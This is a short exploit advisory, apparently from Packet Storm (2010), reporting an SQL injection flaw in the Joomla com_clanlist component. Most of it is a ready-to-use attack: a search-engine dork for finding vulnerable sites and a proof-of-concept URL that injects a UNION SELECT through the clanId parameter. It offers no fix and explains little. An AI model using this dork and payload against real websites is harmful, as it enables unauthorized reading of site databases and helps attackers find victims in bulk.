Joomla Clanlist SQL Injection

2010-11-09T00:00:00
ID PACKETSTORM:95632
Type packetstorm
Reporter CoBRa_21
Modified 2010-11-09T00:00:00

Description

                                        
                                            `########################################################################################  
  
Joomla Component (com_clanlist) SQL Injection Vulnerability  
  
########################################################################################  
  
Author : CoBRa_21  
  
Dork : inurl:com_clanlist  
  
  
########################################################################################  
  
Sql Injection :  
  
http://localhost/[path]/index.php?option=com_clanlist&clanId=-999 union select version()  
  
########################################################################################  
  
Thanks cyber-warrior.org & AKINCILAR  
  
########################################################################################  
  
`